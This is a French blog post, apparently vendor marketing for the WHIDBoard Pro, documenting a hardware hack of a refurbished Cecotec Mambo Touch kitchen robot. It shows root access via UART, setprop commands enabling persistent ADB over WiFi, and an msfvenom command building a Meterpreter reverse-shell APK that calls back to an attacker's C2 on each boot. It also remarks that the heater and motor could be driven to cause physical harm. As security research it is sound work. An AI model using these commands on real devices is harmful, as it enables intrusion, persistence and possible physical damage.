Passer au contenu

Scroll Indicator

Hacker's Cookbook : Exploiter les appareils électroménagers connectés à l'IoT avec WHIDBOARD

Note de l'éditeur : pour célébrer le lancement du WHIDBoard Pro Set, nous avons le privilège d'accueillir un invité de marque, la légende du piratage matériel Luca Bongiorni. Luca fait la démonstration du WHIDBoard Pro en découpant, tranchant et cuisinant un appareil IoT Kitchen.
Si le piratage matériel vous intéresse, découvrez le WHIDBoard Pro Set et apprenez comment devenir un hacker certifié.

AVIDES DE HACKING MATÉRIEL

J'ai récemment terminé la R&D d'un nouveau jouet appelé WHIDBOARD et, pour le tester, j'ai décidé de jeter un œil à un appareil de cuisine IoT que j'ai acheté d'occasion sur Amazon. Le résultat a été étonnamment hilarant !

Démonstration du WHIDBOARD

La cible

Le DUT (Device Under Test) de cet article de blog est un appareil de cuisine intelligent appelé Mambo Touch, fabriqué par la société espagnole Cecotec.

Cet appareil de cuisine tout-en-un est un robot multifonction doté de 37 fonctions, d'un écran tactile de 5 pouces et pouvant être contrôlé à distance via son application mobile (comme vous pouvez le voir sur les images ci-dessous). Il se connecte via un réseau WiFi.

Comme le modèle reconditionné était moins cher... et que je ne l'utiliserai de toute façon jamais pour cuisiner... je me suis laissé tenter !

Mambo Touch product listing
Fiche produit Mambo Touch
Mambo Touch device
Appareil Mambo Touch

Reconditionné ≠ Réinitialisation d'usine

En général, Amazon autorise les clients à retourner certains articles qui ne leur plaisent pas ou qui ne répondent pas à leurs attentes...

Amazon refurbished policy
Politique de reconditionnement d'Amazon

Cependant, une question légitime se pose... où finissent-ils ensuite ? Comment sont-ils reconditionnés ? Qu'en est-il de la réinitialisation d'usine AVANT la revente ?

Après l'avoir allumé, je me suis connecté à mon réseau WiFi et j'ai essayé de le coupler avec l'application mobile... mais un événement surprenant s'est produit. Le DUT était déjà couplé avec un autre propriétaire (probablement l'ancien)...

Je me demande ce qu'un DPO dirait à ce sujet...

Device already paired to previous owner
Appareil déjà appairé avec le propriétaire précédent

Démontage du DUT

D'après une première inspection de l'extérieur, il est possible de remarquer un premier indice... un port micro USB caché.

Hidden USB micro port
Port micro USB caché
USB port close-up
Gros plan sur le port USB

Cependant, rien de très intéressant ne se produit une fois branché à un ordinateur... L'étape suivante consistait à ouvrir la cible... et parmi tous les autres composants (écran tactile, commutateurs, capteurs, moteurs, alimentation électrique, etc.), j'ai été accueilli par la carte mère.

Device mainboard view 1
Vue de la carte mère de l'appareil 1
Device mainboard view 2
Vue de la carte mère de l'appareil 2

Ici, nous pouvons facilement repérer les principaux composants :

  • SoC Amlogic A213Y
  • KLM8G1GETF-B041 est une mémoire flash eMMC de 8 Go avec un encombrement FBGA-153
  • RS256M16V0DB-107AT DDR SDRAM avec empreinte FBGA-96

Et également quelques points d'entrée intéressants pour les interfaces de débogage...

Debug interface entry points
Points d'entrée de l'interface de débogage

Cependant, le point d'entrée le plus intéressant se trouvait de l'autre côté... quelques pads de test étiquetés avec le brochage habituel de l'interface de débogage UART... (c'est-à-dire GND, RX, TX).

UART test pads diagram
Schéma des pads de test UART
UART test pads on PCB
Pads de test UART sur le circuit imprimé

L'étape suivante était simple... souder quelques fils sur ces pads, prendre ma WHIDBOARD et vérifier avec le Logic Analyzer et le Pin Enumerator s'il s'agissait bien d'une interface de débogage UART...

WHIDBOARD connected to test pads
WHIDBOARD connecté aux pads de test

Tout d'abord, j'ai connecté tous les fils au bornier de l'analyseur logique de la carte WHIDBOARD afin de récupérer certaines données... et voici ce que j'ai obtenu sur Pulseview :

Pulseview Logic Analyzer output
Sortie de l'analyseur logique Pulseview

Obtenir les droits root via UART

Excellent ! Nous avons facilement confirmé que les 3 pads de test à l'arrière du circuit imprimé sont effectivement une console UART fonctionnelle. Nous pouvons voir le DUT afficher la séquence de démarrage depuis le Logic Analyzer. Ensuite, essayons de connecter directement le WHIDBOARD et le Pin Enumerator.

WHIDBOARD Pin Enumerator connection
Connexion du Pin Enumerator au WHIDBOARD

La fonctionnalité Pin Enumerator de WHIDBOARD est basée sur le JTAGulator (malheureusement en fin de vie) créé par Joe Grand. Elle vous permet de découvrir les broches des interfaces de débogage telles que UART, JTAG et SWD. Cependant, dans mon cas, j'ai principalement utilisé sa fonction Passthrough pour communiquer avec la cible connectée à son bornier (et bien sûr confirmer la bonne combinaison de broches UART).

Pin Enumerator interface
Interface Pin Enumerator

Une fois confirmé avec le Pin Enumerator que j'étais bien face à un port de débogage UART, j'ai utilisé la fonction Passthrough et j'ai été accueilli par une charmante console terminale avec accès root.

Root access via UART
Accès root via UART

Et maintenant ?

À ce stade, nous voyons clairement que l'appareil peut être facilement compromis. Cependant, je souhaitais continuer à explorer et vérifier comment fonctionne la connexion à distance...

Tout d'abord, j'ai activé la connexion à distance ADB via WiFi à l'aide des commandes suivantes :

setprop persist.service.adb.enable 1
setprop service.adb.tcp.port 5555
start adbd
ADB commands execution
Exécution des commandes ADB

Et j'ai vérifié que tout fonctionnait parfaitement :

ADB connection confirmed
Connexion ADB confirmée

Nous disposons désormais d'une connexion persistante à distance (c'est-à-dire sur le même réseau local) avec le DUT. Le démon du serveur ADB persistera même après le démarrage.

L'étape suivante consistait à effectuer une reconnaissance et à rechercher des informations intéressantes... J'ai d'abord répertorié les applications installées afin de vérifier deux éléments : quelle version d'Android est utilisée et quelles sont les principales applications du fournisseur (à savoir Cecotec).

Les deux applications les plus intéressantes sont :

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501
Installed apps list
Liste des applications installées

Cependant, avant de poursuivre mes vérifications, j'ai rapidement lancé l'application habituelle Paramètres Android (avec cette commande am start -n com.android.settings/.Settings) pour obtenir plus d'informations sur la version du système d'exploitation... et comme prévu, le DUT fonctionnait sous une ancienne version d'Android : 4.4.2.

Android 4.4.2 settings screen
Écran des paramètres Android 4.4.2

Très bien... poursuivons nos investigations... Il est temps de reconstituer le réseau ! En examinant la sortie netstat, je constate certaines connexions avec des adresses IP Internet :

Netstat output
Résultat de netstat

Rien de très sophistiqué, mais l'une d'entre elles a éveillé ma curiosité... Évidemment, comme il s'agit d'un backend qui ne m'appartient pas, j'ai considéré que cela ne relevait pas de ma compétence et j'ai poursuivi mes recherches...

Network connections
Connexions réseau

Ensuite, j'ai commencé à rechercher les outils habituels utilisés par les hackers pour exfiltrer ou inverser les cibles IoT... un pour tous... Sa Majesté BUSYBOX :D

Et en fait, celui-ci était livré avec tout ce qu'il fallait :

BusyBox available commands
Commandes disponibles de BusyBox

Grâce à lui, je pouvais exfiltrer, télécharger, manipuler des données et également obtenir un shell inversé avec netcat. Mais continuons ! Puisque nous avons déjà un shell ADB persistant... nous n'avons pas besoin de BusyBox cette fois-ci. :P

Dans l'ensemble, avec ADB Explorer, j'ai extrait tous les fichiers intéressants que j'ai pu trouver. Cependant, rien de très intéressant... Cet appareil n'a ni microphone ni caméra... nous ne pouvons même pas espionner les gens à distance... hmm... :(

ADB Explorer file list
Liste des fichiers ADB Explorer

Analyse des APK

À ce stade, j'ai concentré mon attention sur les APK du fournisseur :

  • package:/data/app/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest
  • package:/data/app/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501

Le com.zavier.androidrk3326functiontest-1.apk semble être une suite de tests fonctionnels permettant de vérifier si tous les capteurs et les pilotes de moteur fonctionnent correctement. Il convient de noter que cet appareil de cuisine IoT est équipé d'une balance intégrée, d'un chauffage, d'un moteur pour mélanger les aliments et de divers capteurs. Apparemment, tous ces éléments sont contrôlés par ces deux applications (également à distance par l'utilisateur à l'aide de son téléphone portable...).

En ce qui concerne le com.kitchenidea.cecotec.k2501-2.apk , j'ai rapidement remarqué qu'il s'agissait d'une copie de l'autre update.apk disponible dans /sdcard/, il n'est donc pas nécessaire de vérifier les deux :

APK comparison
Comparaison des APK

En examinant ce deuxième APK, je n'ai pas relevé d'éléments particulièrement suspects, mais cela a confirmé que l'application avait un accès complet à tous les capteurs, au chauffage, au moteur, etc. En théorie, nous pourrions créer un logiciel malveillant capable de perturber la victime à distance en envoyant des commandes arbitraires sur les ports série...

APK permissions and capabilities
Autorisations et capacités de l'APK

J'ai également vérifié s'il y avait d'autres URL/IP intéressantes codées en dur dans ces deux applications, mais il semble qu'il s'agisse de données sans importance habituelles :

Hardcoded URLs in APK 1
URL codées en dur dans l'APK 1
Hardcoded URLs in APK 2
URL codées en dur dans l'APK 2

Comme j'étais en retard et agacé, j'ai finalement lancé MobSF pour obtenir un aperçu rapide du niveau de risque de ces deux applications...

TL;DR : Rien de grave. Une application médiocre pour un produit médiocre. 8)

MobSF analysis results 1
Résultats de l'analyse MobSF 1
MobSF analysis results 2
Résultats de l'analyse MobSF 2

Dans l'ensemble, il est clair qu'il est possible de transformer cet appareil en une arme à l'aide d'un APK personnalisé qui peut être contrôlé à distance par un pirate et manipuler les fonctionnalités internes afin de causer des dommages physiques (c'est-à-dire contourner les mesures de sécurité, surchauffer la marmite, etc.).

Farces et shell inversé

En guise de dernier exercice, avant de conclure et de renvoyer ce produit à Amazon, j'ai souhaité vérifier si une reverse shell Meterpreter fonctionnerait et si, grâce à cela, je pourrais exécuter DOOM ou faire des farces à ma femme. Eh bien... :D

Préparons d'abord un APK Meterpreter prêt à être poussé avec ADB :

msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=31337 -f raw -o revshell.apk
Msfvenom command output
Sortie de la commande Msfvenom

Ensuite, transférons-le via ADB et installons-le :

ADB push and install
Push et installation ADB

Maintenant, exécutons-le :

Running the reverse shell APK
Exécution de l'APK reverse shell

Entre-temps, sur la machine virtuelle WHIDOS, le listener MSF était déjà configuré :

MSF listener setup
Configuration du listener MSF

Désormais, chaque fois que l'appareil est redémarré, il exécute automatiquement le shell inversé et rappelle le C2 de l'attaquant :

Reverse shell callback
Rappel du shell inversé

À ce stade, l'installation et l'exécution de DOOM ne prenaient que quelques secondes... :D

DOOM running on device
DOOM en cours d'exécution sur l'appareil
DOOM gameplay screenshot
Capture d'écran du gameplay de DOOM

Conclusion

Le marché de l'IoT est généralement connu pour regorger d'appareils vulnérables. Malheureusement pour le consommateur moyen, la plupart des entreprises ne prennent pas suffisamment au sérieux la sécurité de leurs produits. La plupart du temps, un appareil IoT compromis n'a pas d'impact significatif sur la vie des consommateurs, mais dans certains cas, il peut causer des dommages physiques. Comme dans le cas présent, où le chauffage et le moteur sont contrôlés à distance par l'application, et où un attaquant potentiel pourrait également les contrôler.

De plus, il est clair que l'achat d'appareils IoT reconditionnés peut parfois ne pas être un choix judicieux.

Et si j'avais laissé une charge utile malveillante avant de renvoyer l'appareil à Amazon ? (Avertissement : non, je ne l'ai pas fait).

Amazon refurbished return policy
Politique de retour des appareils reconditionnés d'Amazon

VOUS SOUHAITEZ VOUS LANCER DANS LE HACKING MATÉRIEL ?

L'outil utilisé par Luca pour cet audit matériel est le WHIDBoard Pro. Le WHIDBoard est un outil tout-en-un pour le piratage matériel, fruit de dizaines de prototypes et d'itérations au fil des ans. Il est conçu pour fournir tous les outils nécessaires (matériel et logiciel) dans un kit bien documenté, fiable, professionnel et prêt à l'emploi.

Reverse shell callback
Le kit WHIDBoard Pro. Tout ce dont vous avez besoin pour le piratage matériel.

Souhaitez-vous vous former avec Luca ?

Le kit WHIDBoard Pro est produit par Lab401, ce qui vous garantit une qualité et un support irréprochables. Consultez la page dédiée au produit pour plus d'informations.

La formation Offensive Hardware Hacking Training est une formation à votre rythme qui comprend des vidéos, un manuel imprimé et un kit de piratage matériel très pratique. De plus, tout vous est livré à domicile, partout dans le monde ! Pour plus d'informations : https://www.whid.ninja

WHID training kit
Kit de formation WHID
Articles suivant Séduction des capteurs I2C : DigiLab + Flipper

Laisser un commentaire

Les commentaires doivent être approuvés avant d'apparaître

* Champs obligatoires